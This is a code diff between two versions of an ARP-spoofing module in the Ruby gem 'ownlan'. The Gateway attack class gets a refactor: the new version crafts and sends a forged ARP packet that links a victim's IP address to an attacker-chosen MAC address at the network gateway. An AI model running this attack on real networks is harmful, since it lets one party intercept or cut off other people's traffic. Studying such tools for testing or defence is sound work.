lib/ownlan/attack/gateway.rb in ownlan-0.3.2 vs lib/ownlan/attack/gateway.rb in ownlan-0.4.0

- old
+ new

@@ -1,21 +1,30 @@ module Ownlan module Attack class Gateway < Base def process - gw_ip = `netstat -rn | grep 0.0.0.0 | awk '{print $2}' | grep -v "0.0.0.0"` - gw_mac = PacketFu::Utils::arp(gw_ip, :iface => interface) + generate_packet - config.source_mac.nil? ? saddr = ServiceObjects::NetworkInformation.self_mac(interface) : saddr = config.source_mac + send_packet + end - daddr = gw_mac - saddr_ip = config.client_ip + def generate_packet + gw_ip = ServiceObjects::NetworkInformation.gateway_ip + + saddr = config.source_mac + daddr = config.gateway_mac || gateway_mac(gw_ip) + + saddr_ip = victim_ip daddr_ip = gw_ip - crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip, saddr_ip, config.delay, interface) - send_packet(config.delay, config.interface, crafted_packet) + @crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip).call end + private + + def gateway_mac(gw_ip) + ip_to_mac(gw_ip) + end end end -end \ No newline at end of file +end